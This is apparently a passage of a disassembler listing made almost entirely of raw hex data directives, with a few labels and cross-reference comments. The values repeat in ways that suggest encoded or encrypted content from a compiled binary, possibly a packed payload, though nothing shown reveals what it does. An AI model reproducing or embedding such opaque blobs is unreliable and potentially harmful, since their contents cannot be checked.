		dd 8F960782h, 343D769Dh, 8A906944h, 3D156622h, 32156A99h
		dd 349E6988h, 3D156644h, 321566A2h, 35FC0611h, 0F5156688h
		dd 0CC5CD6EDh, 68ABB505h, 53038420h, 3F30E34Eh,	0DB52606Ch
		dd 32156624h, 7AFEDFEBh, 21FC2C6Bh, 0E8156644h,	0AC9A0D6Eh
		dd 8043AD9Bh, 0B5C2A0EBh, 0F59D315Bh, 377DDCADh, 3DF3046Fh
		dd 3215780Ah, 2A956944h, 0DB156622h, 32156602h,	94684AC0h
		dd 8BE3E8C9h, 0C9B3A5DDh, 38EC46E0h, 0CD66ADB5h, 1A38B3F1h
		dd 0B7989324h, 343D5DAAh, 3212E587h, 0B9756644h, 0FBA269DBh
		dd 0CBC59970h, 4DD6E301h, 0B975606Bh, 0BD1A07DBh, 32156602h
		dd 32156861h, 9CB1E344h, 2C8C0519h, 0A3F88A4Fh,	0F4C8BD8Dh
		dd 1A1843C1h, 22FC2524h, 20156611h, 3893826Ch, 0E479E5F0h
		dd 939EA48Eh, 5AFA7CC0h, 0A06F6F7Eh, 32156EADh,	6E43CB22h
		dd 6B9669ACh, 0E7A099EDh, 0DB134E69h, 32156631h, 60C39CBDh
		dd 0ACA5AEC1h, 444A1EA1h, 86126228h, 0BFA431DFh, 1A2EDD0Dh
		dd 239C6942h, 0DB156622h, 3215661Dh, 2371A98Ah,	85D5A748h
		dd 0C821423Eh, 22FCB6EEh, 64156688h, 62E4EDB6h,	3B64E2E8h
		dd 0A0EEAF25h, 0BB866D4Bh, 1D6AA1C1h, 33996924h, 0C7156611h
		dd 32156B61h, 0A3775944h, 0C8B55CEEh, 4106D873h, 0B7D35553h
		dd 343D6B61h, 127D9E61h, 0DBE94786h, 3215669Bh,	0D4C05C8Fh
		dd 26C1865Eh, 0F50309F6h, 824180B5h, 0CDF7B00Eh, 1A38B397h
		dd 3DFC0617h, 0EC156688h, 5287892h, 4251400h, 33C6605Ch
		dd 0FC943803h, 597E8FA8h, 8990EB43h, 3D134E2Ah,	32156307h
		dd 60EC0644h, 0E2EA077Dh, 3214E41Eh, 0BBE06688h, 1D6AADC1h
		dd 23FC0624h, 16156611h, 0E105E71Ch, 22CA822Fh,	9624F7C3h
		dd 13DE3D4Bh, 27A8E5E9h, 32134E54h, 32F5E32Dh, 0F4ED6611h
		dd 1A18430Dh, 0B41A2542h, 32156623h, 9A160EE8h,	3BFCED88h
		dd 79156644h, 1CC184C9h, 582EA1A5h, 1FC0D377h, 0BFE9606Ch
		dd 1A2EDDA7h, 0E2EA9F17h, 32156161h, 2E430B44h,	1A1629B7h
		dd 4DC6E398h, 0F4E060A7h, 1A1843C1h, 3D752524h,	32156295h
		dd 17AA0088h, 0ED9535F1h, 5A743FCAh, 0D74E50C4h, 0FC9406E8h
		dd 536E3376h, 0B3749BA8h, 1B6CE6C1h, 87EA07D3h,	343D4B91h
		dd 22976942h, 0DB156611h
		dd 32156683h, 0D45870B1h, 88D97786h, 53E7298Fh,	9AEE305h
		dd 20FC606Ch, 0A1156622h, 99992FEFh, 755BC37Ch,	6E70D333h
		dd 0D45034F8h, 0DBC5993Dh, 32156686h, 0FC57292Ah, 18EFFE37h
		dd 14100C35h, 0BF1A015Fh, 3215664Bh, 32156CCBh,	5B8C3211h
		dd 0A3424801h, 0BB55F62Bh, 1D6AA9A7h, 0B7D39A17h, 343D6BADh
		dd 20FC9F07h, 2A156622h, 0CBB128A1h, 0A183930Eh, 57A4677Dh
		dd 3E2140B2h, 0F40E8Bh,	34FC8C22h, 0F1156644h, 0A1938922h
		dd 0E7A099F8h, 0CA134EA5h, 9AEE3C9h, 0BF1A600Ah, 32156617h
		dd 0EDD9E6E8h, 0E2EA07BCh, 0E590EFDAh, 5213496Eh, 0A4A0B903h
		dd 1790A025h, 71134E2Fh, 32048E71h, 1FC96688h, 68FE85F3h
		dd 0DB9CCC5Ah, 0BBE615BAh, 0CB333BC8h, 0C5A2691Bh, 0BF1A0643h
		dd 32156612h, 53C5EDEEh, 0C3B9512Ch, 2A9F69A6h,	0DB156611h
		dd 3215669Bh, 29B413DEh, 78B689C1h, 3EDCD936h, 374D2191h
		dd 0DB666E68h, 32156632h, 0C7E3B4BEh, 66959F0Eh, 0C90CFE7Eh
		dd 7C4A460h, 1FC0D3EEh,	0CAED60A0h, 9AEE3C9h, 8875600Ah
		dd 5BDB84EDh, 53CAD187h, 5475B6BBh, 0BB749FA9h,	1D6ABD94h
		dd 3595698Eh, 3D156644h, 321567AEh, 0B7D39311h,	343D6BADh
		dd 32198F0Bh, 2E4F6622h, 238BE228h, 0DCFDDDAEh,	0E67D1C0Ah
		dd 0C78253B2h, 1FC0D3EEh, 817560A0h, 68E4E768h,	53317D62h
		dd 9AEE39Ch, 0BA1A60A0h, 32156657h, 321568CBh, 0A12B4511h
		dd 5C632D89h, 0A447635Ah, 0CD3291F0h, 321B8FC1h, 0D75C6688h
		dd 0C78D80EDh, 2802AF4Ah, 8DFD94E4h, 4DCAE301h,	0BE1A606Bh
		dd 32156630h, 32156BF8h, 0F9C3A388h, 67F48A16h,	0A5F071E8h
		dd 0B7D38BA6h, 343D6BADh, 32138F0Bh, 88EE6622h,	3A493C2h
		dd 5C1B64E0h, 32138FBDh, 530A6622h, 3D988725h, 1FC0D377h
		dd 0BFEC606Ch, 1A2EDDA7h, 3A926917h, 3D156688h,	321564CCh
		dd 0CD740622h, 0F7AC06C1h, 532A969Eh, 4DF6E3CDh, 8975600Dh
		dd 511E7170h, 46A6AE09h, 0CA744836h, 3F30E3E4h,	52586039h
		dd 3213E587h, 0B41A6644h, 32156622h, 5A74ABA0h,	0FA221FC1h
		dd 0E7A099B1h, 0DB134E0Fh, 3215661Eh, 0DA6F19B9h, 24032A33h
		dd 5F9FB64Ah, 0BFD0074Fh, 1A2EDD0Dh, 321F8F42h,	0DE4E6622h
		dd 1C078329h, 6AC60922h, 0BBEDB6BBh, 1D6A8DA7h,	321E8F17h
		dd 327D6688h, 1791589Eh, 0C02A4E0Eh, 1790A02Bh,	7F134E85h
		dd 7F9C0EBDh, 0BC1ABAD5h, 32156616h, 3214EE87h,	0CDED6644h
		dd 1A38B397h, 321B8F17h, 68806688h, 6C32246h, 0E179485Eh
		dd 0D7F74456h, 9AEE305h, 3DEC606Ch, 321567A6h, 0E2EA9311h
		dd 32156961h, 47FD2E44h, 0F6863555h, 0A706EEE2h, 0BEF0CCD4h
		dd 4DF2E3CDh, 20FC600Dh, 0F1156611h, 43CCE304h,	0A3821900h
		dd 2B76DD0Dh, 0F18A5A3Dh, 1790A00Eh, 67134E49h,	3207EC2Dh
		dd 3FFC6611h, 88156688h, 49A901B6h, 0BF0BF33h, 0EB222C82h
		dd 293851E0h, 321F8FD8h, 0C8366622h, 0B25C7C92h, 162D238Ch
		dd 1FC0D3BBh, 0BFEC600Ah, 1A2EDD94h, 321B8F8Eh,	27AE6644h
		dd 0FF586161h, 0D2C27FADh, 57D1CB11h, 0BF1AB6BBh, 32156625h
		dd 3214E91Eh, 0BBEC6688h, 1D6A89C1h, 0BC1A0624h, 32156612h
		dd 0DBD6D187h, 3215664Eh, 4D836F71h, 1B227C18h,	0F474B1FFh
		dd 1A1843C1h, 5AED2524h, 0E0C0963Bh, 5AE00E8h, 32188FB9h
		dd 658D6622h, 6C6FABDAh, 0AA28FF18h, 53F074D6h,	1FC0D3DDh
		dd 0DA756039h, 3215669Ah, 23852097h, 656F1AA2h,	8EF6EACh
		dd 43725B46h, 1CA1434Eh, 3CFC067Ah, 0CD156611h,	3DC09BEBh
		dd 96A87D6Fh, 0AB4C1944h, 0C49400D5h, 53746268h, 9AEE3C9h
		dd 0B875600Ah, 0C2A269DDh, 3DC599E9h, 321571CFh, 23986922h
		dd 0DB156611h, 32156684h, 9E6CCBE8h, 2A64234Dh,	6C0ADE75h
		dd 4DE6E301h, 5475606Bh, 53E0769Bh, 3F30E3D7h, 0DB4760A0h
		dd 3215664Dh, 0CC1C8D2Ah, 885CFF6h, 86FF0EA4h, 52E09B06h
		dd 53EFED44h, 1FC0D3EEh, 537560A0h, 9AEE3C9h, 3FFC600Ah
		dd 5C156611h, 407FDD90h, 94D07ECCh, 60FBC2E7h, 0BE1AB6EEh
		dd 32156681h, 48FEDE24h, 0F39F3265h, 0AA0670h, 0DA6618B0h
		dd 32156641h, 30296788h, 0B7E7E757h, 6B163B94h,	1790EF25h
		dd 3D134E05h, 3215689Ah, 0BC1A0688h, 32156644h,	5F13ADA3h
		dd 0DB7416F6h, 32156682h, 0A4F4A901h, 469F17C5h, 0B7D3517Ah
		dd 343D6BADh, 0B9730603h, 0F19400ECh, 5A7492D3h, 0D08D3F11h
		dd 321A8F24h, 3EF16622h, 390FD3BBh, 0D9EFDD00h,	821A3297h
		dd 379B691Dh, 54156611h, 79959109h, 0E7A09925h,	3D134E0Fh
		dd 32156193h, 33926988h, 0CE156644h, 9AEE3AFh, 52756039h
		dd 3215E287h, 0B3736644h, 531E0EF4h, 32156EF9h,	0BEAF0C88h
		dd 9EED6C36h, 0D0CDE7FEh, 6C18FDDBh, 0CAC599E9h, 4DE2E3CDh
		dd 0B91A600Dh, 32156610h, 1790A071h, 75134E49h,	321D8E42h
		dd 0CC6E6611h, 2B5503E9h, 0E49E4CD7h, 32128F7Dh, 0C2486611h
		dd 0A506A46Ch, 0B61A0781h, 32156623h, 52D70EE4h, 37FCD775h
		dd 18156644h, 2A70CFE0h, 1FC0D3EEh, 0B61A60A0h,	32156645h
		dd 8990EBDAh, 52134E2Ah, 89739803h, 0CD74C8F8h,	73AD06F2h
		dd 0DB098E89h, 3215669Ah, 0D46EFD27h, 0AE5445A8h, 813053A8h
		dd 4E61832Ah, 0BB745CAAh, 1D6A9DA7h, 339D6917h,	0CB156688h
		dd 3F30E382h, 3D52600Ah, 32157299h, 321A8F88h, 34D46644h
		dd 0E830E4FDh, 1DF9E630h, 86721CA4h, 3F9569AAh,	52156622h
		dd 9686BAEh, 329C69A7h,	53156644h, 94EB724Ah, 87EA9FCEh
		dd 343D4B5Dh, 3214EB4Bh, 0BFEC6622h, 1A2EDD94h,	3590698Eh
		dd 3D156644h, 321567AFh, 0E2EA9311h, 0B37306E8h, 8B87B684h
		dd 5A429AA5h, 86CFDD70h, 0BB74023Eh, 1D6A99C1h,	0B7D39E24h
		dd 343D6B34h, 321A8FD7h, 2666644h, 0B150D7C3h, 852CE75Eh
		dd 96E3A547h, 0C07D0EE5h, 0B71AF872h, 3215661Fh, 32156F61h
		dd 14AEE244h, 0A558679Fh, 87EA935Eh, 343D4B5Dh,	3214E14Bh
		dd 0BFEC6622h, 1A2EDD94h, 3698698Eh, 52156644h,	0CD74A9A9h
		dd 32138FC1h, 0F3876688h, 64416A4Ah, 0B216E3ABh, 0B91A603Eh
		dd 32156689h, 1790A0BDh, 7D134E2Fh, 321561F8h, 0FA947A88h
		dd 317AFCBCh, 0CE6E594Ah, 32018FD6h, 4D3C6688h,	0CF294C66h
		dd 578E336Ah, 0B386D8F3h, 88EB741Dh, 87EA1ABCh,	343D4BF7h
		dd 0B8AB0071h, 0FBABDE15h, 0BF7401ACh, 1A2EDDA7h, 399B6917h
		dd 0DB156688h, 32156642h, 76A30E6Eh, 0E2EAC0ABh, 32157661h
		dd 43E35044h, 1724A6C9h, 2DC56566h, 250F8FAEh, 1D90EF71h
		dd 3D1349A2h, 3215679Bh, 0B7D39388h, 343D6B61h,	32188F65h
		dd 95606611h, 0C2F55EC9h, 96032C5h, 5AD0C502h, 0C84E085Dh
		dd 32156C61h, 0B30D6244h, 0F89A318Eh, 0CD4D0C28h, 1A38B33Dh
		dd 0E2A10642h, 53C6ED44h, 9AEE39Ch, 547560A0h, 8C73ACCFh
		dd 0C7749354h, 0DA75B6EEh, 32156685h, 46E21FA2h, 26AFC4E4h
		dd 859CB6ECh, 0CAA26997h, 321D8F1Eh, 0B5206622h, 0C440839Ch
		dd 0BB74A05Eh, 1D9555C1h, 32068F24h, 1816611h, 33FDF2A5h
		dd 0D986AE96h, 7E7CA448h, 0F1E4BAB1h, 1790A0B8h, 75134E49h
		dd 32936942h, 0DB156611h, 32156684h, 0F4E729Ch,	4C311870h
		dd 0D1372817h, 16D80EE9h, 3D75A542h, 321562AFh,	44AC0011h
		dd 53E2EC77h, 1FC0D3BBh, 38FC600Ah, 7E156611h, 9B249A04h
		dd 429E558Eh, 8990EB72h, 52134E2Ah, 32108FD9h, 0F5D76644h
		dd 6D28010Bh, 53DED11Eh
		dd 39FCB677h, 0EA156644h, 5671124Fh, 22178845h,	3BFCAE62h
		dd 6E156644h, 974EFA39h, 77A31DDAh, 0B222E301h,	0B275606Bh
		dd 18ACDDC8h, 531D2112h, 3F30E34Eh, 524A606Ch, 32188EDBh
		dd 0F8036611h, 0DB743C62h, 18693677h, 0DADD7094h, 32156601h
		dd 62ADB934h, 5F4DF9CFh, 0A3B5D1D6h, 0FF318573h, 5A7439D6h
		dd 0E6AE0688h, 32156ECBh, 120CB911h, 0A3B0BFD9h, 0E7A099C9h
		dd 3D134E0Fh, 32156795h, 0B7989E88h, 343D5DFFh,	3212ED2Dh
		dd 0B61A6611h, 32156689h, 32058FBDh, 7FDF6622h,	999EBAC3h
		dd 7A6BE80Dh, 0E85A90D8h, 0E2EAC461h, 3590EFEDh, 0CE134908h
		dd 3F30E382h, 524A600Ah, 6AC5E777h, 53EFED98h, 0DB41282Ch
		dd 3E9569BCh, 52156611h, 6FBE7EEh, 0EB940058h, 0CD746D6Ch
		dd 1A38B3A4h, 0B798938Eh, 343D5DFFh, 321563CBh,	0B5724511h
		dd 0E2EA8167h, 3213E24Bh, 52756622h, 534A3070h,	0B21EE301h
		dd 3BFC606Bh, 4C156622h, 9C151A97h, 0FC00CAD7h,	3214E24Bh
		dd 0F4EC6622h, 1A184394h, 0B51A398Eh, 32156648h, 3213EE2Dh
		dd 0B31A6611h, 32156688h, 213D2E2Ch, 87EA9EF3h,	343D4BC4h
		dd 3205EE87h, 0BE1A6644h, 32156628h, 321563F8h,	0D3A63488h
		dd 0B7988E96h, 343D5D99h, 321568F8h, 45744688h,	0C81B215Bh
		dd 46D010E2h, 0CD95048Dh, 20FC9358h, 5A156644h,	3CC771D3h
		dd 7EEB2A4Eh, 1D8D36C7h, 15C9287Ch, 3D90EF73h, 0DB134991h
		dd 32156686h, 6B54B0CFh, 263CE4D9h, 95BFF0ABh, 3BFCAF04h
		dd 0D8156644h, 0E8331866h, 6B271475h, 0C77562E2h, 32018F12h
		dd 43CB6622h, 89002552h, 3F3BF939h, 0B837F991h,	3EA89565h
		dd 534F3FBCh, 22150E71h, 54756644h, 8A02B5A3h, 53D6D11Eh
		dd 320566E0h, 3AFC0644h, 0B9156622h, 184577D1h,	62463DCAh
		dd 321569ADh, 0ACE77D22h, 6AD1FCA6h, 0E11DEAD0h, 0C4CABC87h
		dd 327F0778h, 9ADDE671h, 0A0D6E7EEh, 3FFC0793h,	0BB156622h
		dd 0D2FD4B2Eh, 0B08A1308h, 0ACB60521h, 3D14F3DDh, 0B3756039h
		dd 0FD58941h, 0FD940058h, 0BB74D938h, 1A318794h, 6BAF068Eh
		dd 521064C3h, 8D1A94A9h, 0BF7407CEh, 1D4CB70Dh,	0E2EA9A42h
		dd 0CE110CDEh, 32056679h, 81750688h, 53ED07ECh,	3235664Ah
		dd 32058F11h, 0A6546688h, 28A91EE8h, 0C8858FCEh, 0D751C1E3h
		dd 327F832Eh, 54759324h, 53479E9Dh, 33809970h, 3D134E87h
		dd 321569C8h, 321F8F22h, 731F6611h, 27786D8Dh, 7509AEC1h
		dd 1324E3ABh, 52E96039h, 0AF08B909h, 3D75270Fh,	5375949Dh
		dd 0B79C0770h, 343D707Dh, 0CE550CBDh, 3205664Ah, 327D9F11h
		dd 0CB156788h, 0CDED662Eh, 1A1A67B7h, 0B79C9317h, 343D7789h
		dd 0D3A0EDBCh, 0DB134E2Ch, 3215661Ah, 2557A8B1h, 0E65A7669h
		dd 0B9535A07h, 1A26A78Ch, 32018F8Eh, 0D0A6644h,	0C29DB41h
		dd 13C1BD67h, 0C3B38F72h, 3EE2E7A1h, 879C434Dh,	343D6284h
		dd 5788EF74h, 3D134E43h, 321567A1h, 0AF9E9311h,	343D5549h
		dd 0D3940024h, 23FC5CA7h, 0F1156611h, 0FDDDF895h, 0EEFA10EEh
		dd 0A566E9D4h, 692C3B34h, 602699E9h, 390EE2FEh,	16415751h
		dd 0B34C3C15h, 390EE279h, 26FC0637h, 0F2156622h, 2173F634h
		dd 0FCDDA133h, 0E7B6D6A7h, 0EB9B0077h, 0B2BFD665h, 0B1744741h
		dd 0B61A66BDh, 32155E6Fh, 32156FF8h, 0D40AF688h, 0B6F05462h
		dd 0BB438098h, 36D3E7F7h, 0B1156688h, 69262AAh,	369C3A06h
		dd 3A9B6935h, 3D156688h, 321564CCh, 5A740622h, 32152A49h
		dd 52316A01h, 32198FBDh, 0CD5D6622h, 0A6FF8289h, 9E5EC1F7h
		dd 3D742D25h, 321567ABh, 0DB759A11h, 3215668Fh,	30620885h
		dd 38AF4DDh, 32078FD1h,	0CBC6688h, 7819629Dh, 0F785BCC8h
		dd 968BC7FFh, 54FCDCC1h, 267CE3CDh, 52EC600Ah, 32188E40h
		dd 0EBC76688h, 0AD257764h, 0C436D7B5h, 6C00D2D5h, 32058FD7h
		dd 241B6644h, 0E854DF72h, 2939D854h, 2367FB04h,	6074BB36h
		dd 0E26BD44Ah, 61573C6Ah, 0D202BA33h, 0E9E22D60h, 1EA88DA3h
		dd 0D99473A7h, 732F5F57h, 0BB4EBC45h, 37FC3CF4h, 0FF156611h
		dd 6FA917A9h, 329FDD17h, 0EC143EB6h, 1661654Ah,	0B8FBE7A8h
		dd 3D4DF244h, 321567ABh, 35FC9E11h, 0C5156688h,	7B9499C3h
		dd 9F73BA3Fh, 0D1563E9h, 48107D61h, 3145940Bh, 1F354266h
		dd 62E7296Bh, 0DB2A66A5h, 42EA9F5Fh, 1621ED5Ah,	0DB11A292h
		dd 32156699h, 3603FC9Dh, 53E2DAA1h, 192FBF8Dh, 560EE22Ch
		dd 72FBE7D9h, 3117637Ah, 67354265h, 374D2635h, 6FFB6746h
		dd 321568CBh, 56598B11h, 7BFACF74h, 0F64755C7h,	6255F0F2h
		dd 32157EA9h, 0B9E56788h, 1611ED7Ch, 3D11A2A1h,	32156797h
		dd 54759388h, 8C31A7C5h, 404C8798h, 8F9C0750h, 343D7929h
		dd 3218E94Bh, 3AFC6622h, 1D156611h, 9FDE11F5h, 0B768D56Ah
		dd 1C9069DDh, 3D156611h, 32156704h, 0A4FD9344h,	0DB15667Ch
		dd 32156617h, 0B10B2202h, 79FC2B9Ah, 0DB156627h, 3215661Ch
		dd 3FE4B897h, 88547FAAh, 0EBBF913h, 2950E10h, 3E9C6688h
		dd 3D750660h, 321566A7h, 329C6911h, 53156688h, 3217E64Bh
		dd 6D436622h, 29D00E70h, 2E9C6688h, 0BBEEEF60h,	0B3753DF8h
		dd 1F8CC9E6h, 5397D283h, 32156CADh, 0E4E33322h,	7D07CAD7h
		dd 594532CEh, 3CFC6296h, 0ED156622h, 29C9A49Eh,	761A4E94h
		dd 3E42E549h, 0DB80EFEDh, 0DB134E0Eh, 32156680h, 8EE8EE49h
		dd 0C665C98Bh, 5AED627Bh, 32157688h, 3214ED4Bh,	52ED6622h
		dd 64DCD11Eh, 534C07E8h, 0B3F7EF16h, 321562E0h,	36FFE511h
		dd 6E31720Fh, 0CB3172CDh, 0DB756648h, 3215661Bh, 0A47F9137h
		dd 0EF2B231Eh, 0FAAEB877h, 537C0A3Bh, 3D14F377h, 0B61A606Ch
		dd 32156625h, 3214E21Eh, 0BBE06688h, 1A18B3C1h,	34FC0624h
		dd 36156611h, 2611C71Ch, 53E7ED93h, 1601ED72h, 3211A290h
		dd 0B9ED6688h, 0BB454248h, 321163C2h, 0F2966611h, 1611E18Ch
		dd 0B41A0618h, 32156627h, 7ECAE777h, 0DA749A46h, 32153B2Dh
		dd 0B3E8EC42h, 7C25E8D9h, 0BB4007B0h, 36D0E7A1h, 0B1156622h
		dd 1E9262FCh, 69C3AACh,	3D759F60h, 321567A6h, 0E9959F11h
		dd 0DBB8078Ch, 32156642h, 8AFE2FA5h, 0E038275Dh, 1F7CA897h
		dd 53573AAAh, 16312221h, 70498814h, 2DC763E9h, 0BB1A0F8Ah
		db 35h
byte_5C3A41	db 66h,	15h		; DATA XREF: ___:off_438448o
byte_5C3A43	db 32h			; DATA XREF: ___:off_43A580o
dword_5C3A44	dd 321574F8h, 9E9CC188h, 32A4045Bh, 5BC95EAFh, 8BE8F987h
					; DATA XREF: ___:off_43A578o
		dd 6243857Ch, 0E9E3E13h
		db 6, 0E7h, 0D1h
		db 36h
		dd 3D156611h, 32156707h, 0B3429344h, 597A420Eh,	2E9E5596h
		dd 36D1E5ACh, 597AA5C5h, 3DFC55A5h, 48156611h, 82E3810Dh
		dd 6BBBF4F8h, 0B508138h, 0BB454622h, 32116368h,	36386644h
		dd 0B5156622h, 0BB494215h, 2EC42B4h, 47BB9F84h,	321F8FDFh
		dd 4A6E6611h, 0A2FEC7EDh, 71DFBF08h, 32156CCBh,	0A2BDE311h
		dd 8CED3AEBh, 0DB7B162Dh, 32156636h, 52ECC0F0h,	2C433910h
		dd 0B807AFF9h, 47EAFDF5h, 0B4682A65h, 32156861h, 27717544h
		dd 0FC5F3E14h, 0D7EF131Ch, 0CD746254h, 0B14B4270h, 0B51A62E6h
		dd 32156630h, 32018FE8h, 63786644h, 0FEDDB35Eh,	605DE292h
		dd 9ABED653h, 4297A642h, 0BF1A9AE3h, 32156611h,	73AC37E9h
		dd 0B3305C6Bh, 0CB2D13CBh, 2BD4E72Fh, 336E75D6h, 0ED3C3F8Bh
		dd 66F089A3h, 0BA1A0745h, 32156689h, 0D49C30B1h, 3211A0A3h
		dd 0DC966611h, 1621E18Ch, 1601EF18h, 32108F42h,	57116611h
		dd 3D8F2D3Dh, 321569CEh, 321F8F22h, 0B8E46611h,	4D63DC7Ch
		dd 0BB10A96Dh, 18930E43h, 69C6611h, 0BBEBEFACh,	21FC38B6h
		dd 8B156622h, 26A35E56h, 0D16418E1h, 73836539h,	980E043Bh
		dd 38FC90DBh, 4F156688h, 5FB2E771h, 6597BDBh, 0D3A8ED33h
		dd 3D134EACh, 32156CC3h, 0E1940622h, 1C78750h, 8B7438DAh
		dd 0CDEA99BBh, 32156DCBh, 9B3E511h, 496E58B3h, 994BF1C2h
		dd 32128F42h, 39446611h, 0E1449C31h, 3091691Eh,	0B8156622h
		dd 0F22407E2h, 3203ED87h, 0B41A6644h, 32156632h, 32156DF8h
		dd 0ACC1C88h, 874BBF8Ch, 0B8B3C654h, 347D3540h,	6909B8FAh
		dd 3395C5h, 0F19434EDh,	83FBD9F1h, 334EBF01h, 6B14ECB5h
		dd 1CCFE642h, 9AA3B590h, 2747850h, 3E9A698Ch, 3D156622h
		dd 3215609Dh, 32956988h, 60156644h, 32156798h, 68C36711h
		dd 3219E187h, 0BA1A6644h, 32156624h, 3215E81Eh,	6EA6688h
		dd 1611EDC3h, 5211A2A1h, 0B2D3D11Eh, 0F3747B48h, 0B9756EADh
		dd 0C59400E1h, 3746CDCh, 339E6949h, 0CB156644h,	6D906968h
		dd 52EA99EEh, 3215EB87h, 52746644h, 8973E096h, 0B1744122h
		dd 3E9C6264h, 39FC3E60h, 45156622h, 358CFC9Bh, 0EF0FC9FBh
		dd 0DE967F9Dh, 1611EF26h, 6A3172E6h, 6D4206E8h,	8EAC0025h
		dd 6EA07C5h, 0F6943C35h, 3215668Ch, 321BE44Bh, 3BFC6622h
		dd 1D156611h, 767CEC8Ch, 70C7C573h, 0BB118AA1h,	309A4215h
		dd 32156C61h, 0FF733444h, 0F92428C5h, 0B1CD5A06h, 369C6264h
		dd 3211DE60h, 0F0146622h, 0B3730649h, 0B38B8058h, 43AAF1ADh
		dd 0BB450772h, 321163F1h, 36386688h, 0B5156644h, 0BB494226h
		dd 54754205h, 0C756E431h, 32078F25h, 8E6C6622h,	23263E14h
		dd 0DE502669h, 0F38182C6h, 7C34061Ah, 267CE3EEh, 0CE7560A0h
		dd 32156EADh, 20AE4622h, 577AAA45h, 0A79E07C6h,	343D722Dh
		dd 279869DAh, 3D156611h, 3215690Eh, 321F8F44h, 0DFD16622h
		dd 364CD688h, 156A7204h, 2DB4F37Dh, 0B61A600Ah,	3215665Dh
		dd 16C8E6E8h, 0CD743F17h, 0B34F4216h, 321562D5h, 0D8940688h
		dd 53002668h, 16219943h, 36D1E74Fh, 0DB156688h,	32156643h
		dd 0CCF0AA08h, 0CBB828BAh, 3211DCDAh, 0DC946644h, 7DCD32DDh
		dd 0F494B010h, 7DCD3277h, 25FC9A1Eh, 0CEEA99DEh, 6131729Ah
		dd 0F1948501h, 32156640h, 3211A5A3h, 2E926611h,	3D753AACh
		dd 321564C6h, 0B2740622h, 0CD7463F5h, 0B34B42BCh, 32156280h
		dd 0BE1A9F22h, 32156617h, 0B84A35E8h, 527407BDh, 0E106B5A3h
		dd 3BFC09A8h, 4156688h,	74EEA9Dh, 0A66B24BDh, 1619ED70h
		dd 0B3F4EFD9h, 32156285h, 36D4E722h, 0B5156611h, 0CE494284h
		dd 673162CFh, 0F79483ABh, 32156615h, 0B511A30Bh, 0CA494268h
		dd 30D0E3E5h, 32156039h, 0F5ED6688h, 1A11A7C1h,	32156624h
		dd 0F59F0611h, 0B174AD03h, 1D6A11F9h, 0B61A6624h, 32156658h
		dd 3201E787h, 3DFC6644h, 0C6156622h, 1B6A10ABh,	609C6347h
		dd 0C997EB16h, 0AF98D97Fh, 343BF178h, 32156B61h, 0F26C244h
		dd 251EB118h, 0A686456Dh, 0E1EA66AEh, 3FFC06BCh, 0BB156622h
		dd 7CF8053Eh, 9231FEB7h, 5FA71C0h, 3F909943h, 0C7134E23h
		dd 18DB0Bh, 3D71606Ch, 321770A0h, 21936911h, 0DB156688h
		dd 3215664Ah, 0D485C37Ch, 0B4C82F50h, 38D5D899h, 0B7D2E7EAh
		dd 343D542Fh, 32156610h, 0BFEC0671h, 1D5D95C1h,	33976924h
		dd 0CE156611h, 21FCB677h, 37156644h, 4D04E00h, 0A4A8CB19h
		dd 0E3DA5303h, 0D24690DCh, 87982A67h, 343AE656h, 32156061h
		dd 6A032044h, 0CB638F88h, 3B65DB9Ch, 0B41A60B8h, 32156645h
		dd 0B3D2E7DEh, 0B3236F00h, 1E444967h, 0B3E24F7Dh, 1E4449E5h
		dd 0B3FAE728h, 52236F99h, 0DAD4ED22h, 32156631h, 68EE3743h
		dd 0F5CE3160h, 337424ECh, 47D6422Bh, 3D386841h,	32156600h
		dd 0B1743C44h, 69C62CEh, 0BBEBEF35h, 3D75387Ah,	321560C6h
		dd 10D3E722h, 0B34D9FA8h, 76329C4Ah, 8F9E071Dh,	343D42C3h
		dd 321DE71Eh, 0B21A6688h, 32156646h, 0CDAC0742h, 52EA99EEh
		dd 0D7C4E7EEh, 0EA940626h, 1C4E6C2Bh, 5374AE9Ah, 61EDA6B9h
		dd 321566FFh, 0F4D6E722h, 3337213Dh, 0F4FEE77Bh, 0B8372168h
		dd 0B31A3D21h, 3215661Dh, 3213E487h, 0B91A6644h, 32156622h
		dd 63E9AE21h, 32156731h, 6BDB6744h, 0CD749F42h,	8C43E125h
		dd 26C70772h, 36311275h, 0C8203E7Ch, 5201B470h,	3217EE87h
		dd 53756644h, 0F374FC91h, 0B3756EF8h, 3BE0D26Ah, 0F19E007Ch
		dd 0CBD45743h, 0BF90695Bh, 0CAEA9977h, 0AAB3015h, 330C327Eh
		dd 6C114265h, 6E2D4BD0h, 0A5ED7F10h, 0CA24B1D5h, 0CA24A120h
		dd 0B51A06E8h, 32156644h, 0AB23D844h, 0B72C0770h, 343D6215h
		dd 327FE24Bh, 39FC6622h, 0FD156611h, 0FCA9CA50h, 8301786Bh
		dd 5CAD8F20h, 0C51F2866h, 0C8182658h, 0C57C8E54h, 1FC591F2h
		dd 0CFECFEEBh, 3DD56D74h, 321574C1h, 33906922h,	0CA156611h
		dd 188E34Fh, 3214606Ch,	5AE06622h, 3215783Bh, 89317A01h
		dd 537B006Fh, 367B95A3h, 0C1945E11h, 8695D3Fh, 6AF385C5h
		dd 0F1942E95h, 0F20A66C9h, 0C74EBF89h, 3A976925h, 3D156622h
		dd 32156495h, 60740688h, 706D65FEh, 8B442C24h, 8792F45h
		dd 3198A709h, 0F83C11CEh, 68C4EF7Bh, 32156AF8h,	28931288h
		dd 86F694BAh, 200D3958h, 2879DCB2h, 0D0D433AEh,	0CED7E742h
		dd 0B30E6450h, 270ACAF3h, 9AC37B8h, 0B36FE161h,	306B35E3h
		dd 11FCE77Fh, 33E80D4Eh, 0BB1A3F8Eh, 32156623h,	0B975CBE4h
		dd 32108E49h, 99806644h, 0DAD3A57Dh, 32156601h,	0D90F7328h
		dd 0CA994EF7h, 0CDED35ECh, 11FDF0D9h, 0BB743CD1h, 1A11F3F1h
		dd 32018F24h, 7C266611h, 0C64C262Dh, 7C2A3207h,	5BD61EDBh
		dd 0C8134412h, 8D427600h, 728D394Bh, 0F2DAE765h, 0B35B5E7Ch
		dd 0BD1F4D6Fh, 32AC3726h, 33A811D4h, 4C9C3FDEh,	3FFC3974h
		dd 4C156644h, 54590160h, 3146C1C6h, 0FB7BDD84h,	0DCFB8879h
		dd 0FD9069CCh, 3D156611h, 32156F00h, 0EA950644h, 7CAA0058h
		dd 0C940759h, 0EFC8BB55h, 32A1E34Bh, 52756622h,	3215EF1Eh
		dd 0F49E6688h, 32018E25h, 977B6622h, 8F688B31h,	0E18F9AEh
		dd 88B59CAAh, 0CAF5D628h, 0EA9439D3h, 31B76413h, 0BB1A071Ah
